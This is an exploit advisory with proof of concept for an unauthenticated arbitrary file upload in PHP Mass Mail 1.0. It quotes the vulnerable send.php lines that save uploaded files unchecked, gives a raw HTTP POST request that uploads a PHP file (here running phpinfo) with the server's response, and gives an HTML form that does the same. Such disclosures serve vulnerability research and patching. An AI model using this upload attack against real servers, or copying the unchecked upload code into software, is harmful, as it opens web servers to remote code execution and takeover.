PHP Mass Mail 1.0 – Arbitrary File Upload
# Exploit Title: PHP Mass Mail 1.0 - Arbitrary File Upload # Dork: N/A # Date: 2018-11-14 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://phpmassmail.sourceforge.io/ # Software Link: https://netix.dl.sourceforge.net/project/phpmassmail/phpmassmail/1.0.0/phpmassmail.zip # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/send.php # # http://localhost/[PATH]/upload/[FILE] # .... #07 require("class.phpmailer.php"); #08 #09 $uploaddir = 'upload'; #10 $key = 0; #11 $tmp_name = $_FILES["userfile"]["tmp_name"][$key]; #12 $name = $_FILES["userfile"]["name"][$key]; #13 $sendfile = "$uploaddir/$name"; #14 move_uploaded_file($tmp_name, $sendfile); # .... POST /[PATH]/send.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/octet-stream Content-Length: 716 Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0 DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 -----------------------------265001916915724: undefined Content-Disposition: form-data; name="userfile[]"; filename="phpinfo.php" <?php phpinfo(); ?> -----------------------------265001916915724-- HTTP/1.1 200 OK Date: Wed, 14 Nov 2018 19:27:39 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Content-Length: 719 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/send.php # # http://localhost/[PATH]/upload/[FILE] # <html> <body> <form method="post" action="send.php" enctype="multipart/form-data"> <input name="userfile[]" type="file"> <input value="Send mail" type="submit"> </form> </body> </html> |